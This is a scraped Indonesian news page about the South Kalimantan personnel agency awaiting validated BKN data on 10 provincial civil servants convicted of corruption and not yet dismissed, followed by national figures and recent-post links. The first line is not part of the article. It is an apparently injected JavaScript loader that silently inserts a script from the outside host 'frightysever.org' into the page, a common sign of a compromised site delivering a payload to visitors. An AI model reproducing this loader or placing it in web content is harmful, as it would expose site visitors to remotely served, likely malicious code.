(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Terkait Pemecatan ASN Koruptor, BKD Kalsel Tunggu Data Valid BKN


BANJARMASIN, BKD Kalsel belum menerima nama 10 orang ASN koruptor di lingkungan Pemprov Kalsel. Kasubbid Hukum, Disiplin dan Penilaian Kinerja BKD Kalsel, Harisnor mengatakan Pemprov Kalsel masih menunggu data dari Kanreg VIII BKN Banjarmasin.

“Menurut informasinya, yang disebutkan di pemerintah provinsi Kalsel masih ada 10 ASN yang belum di hukum disiplin yaitu pemberhentian tidak dengan hormat sesuai dengan UU No 5 tahun 2014 tentang ASN dan PP No 11 Tahun 2017 tentang Manajemen PNS yang menurut arahan rapat tersebut data nya ada pada Kanreg VIII BKN Banjarmasin,” jelasnya, Selasa (2/10).

Saat ini ujarnya BKD provinsi Kalsel langsung mengupayakan untuk berkordinasi berkenaan jumlah 10 orang ASN Koruptor ke Kanreg VIII BKN Banjarmasin untuk mencoba validasi data dulu.

“Ternyata pihak Kanreg VIII BKN Banjarmasin belum dapat memastikan data tersebut karena data ada kemungkinan perubahan,” jelasnya dilansir Tribun.com.

Data 10 ASN Koruptor di Kalsel sebutnya terasanya sangat mengejutkan karena data yang ada di Pemprov Kalsel berbeda jauh dengan data dari pemerintah pusat. “Kami sudah menindaklanjuti sesuai aturan yang ada, dan tiba-tiba disebutkan ada 10 ASN belum dipecat,” tambahnya.

Oleh karenanya pihaknya tak bisa memastikan ASN koruptor di Kalsel yang belum dipecat. “Sebelum kami dapat data yang valid dari temuan Kanreg VIII BKN Banjarmasin,” ujarnya.

Saat ini sebutnya Pemprov Kalsel maupun Pemkab dan Pemko masih menunggu hasil dari BKN. “Hasil yang 10 koruptor itu juga belum dapat dipastikan kevalidannya,” sebutnya.

Seperti diketahui berdasarkan rilis data BKN per 12 September 2018 di Kalsel disebutkan ada 44 orang ASN koruptor yang terbukti korupsi dan putusannya inkrah diberhentikan tidak dengan hormat atau dipecat yang terdiri dari 34 orang di tingkat kabupaten kota dan 10 orang di lingkungan Pemprov Kalsel.

Kepala BKD Kalsel, Perkasa Alam mengatakan pihaknya akan mencocokkan terlebih dahulu data dari BKN dengan data dari Pemprov Kalsel. “Masih kita cocokkan data dulu,” ujarnya.

Jika benar, maka juga akan dilakukan pemecatan sesuai surat keputusan bersama antara Menteri Dalam Negeri (Mendagri) Tjahjo Kumolo, Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (MenPAN-RB) Syafruddin, serta Kepala Badan Kepegawaian Negara (BKN) Bima Haria Wibisana.

Sesuai surat keputusan memberikan waktu paling lambat hingga akhir tahun untuk dilakukan pemecatan dilakukan oleh pejabat pembina kepegawaian (PPK) masing-masing wilayah. Apabila PPK tidak melaksanakan isi SKB itu, akan ada sanksi.

Sebelumnya, Mendagri Tjahjo Kumolo menegaskan akan memecat 2.150 pegawai negeri sipil atau PNS yang terlibat korupsi. Hasil rapat koordinasi dengan Menteri Pembedayaan Aparatur Negara, Badan Kepegawaian Nasional dan Komisi Pemberantasan Korupsi (KPK) mereka akan diberhentikan secara tidak hormat.

“Sudah memiliki kekuatan hukum tetap sidang tipikor. Tapi sampai saat ini masih menerima gaji dan belum diberhentikan,” kata Tjahjo. Sesuai Undang Undang, katanya, mereka layak diberhentikan dan dicabut hak normatifnya.

“Saat ini masih dipilah,” katanya. Mendagri dan Menpan, katanya, telah membahas secara detail, termasuk semua data telah dipegang. Untuk itu, akan dikeluarkan surat bersama Mendagri dan Menpan agar memiliki dan memenuhi kepastian hukum. “Mereka bersalah, dan memiliki kekuatan hukum tetap,” katanya.

Badan Kepegawaian Negara (BKN) mencatat 2.674 PNS yang korupsi dan dipenjara, namun mayoritas masih berstatus PNS aktif. Dari 2.674 PNS koruptor, sebanyak 317 sudah diberhentikan dengan tidak hormat. “Sebanyak 2.357 di antaranya masih PNS aktif,” kata Kepala BKN Bima Haria Wibisana di Gedung KPK.

Bima mengatakan koruptor yang masih berstatus PNS paling banyak berada di wilayah Provinsi Kepulauan Riau dan Sumatera Barat dengan total 351 PNS. Belum ada satu pun di antara mereka yang diberhentikan dengan tidak hormat.(cel/trb)


Desy Arfianty

Recent Posts

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

1 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

2 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

6 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

7 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

7 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

7 jam ago

This website uses cookies.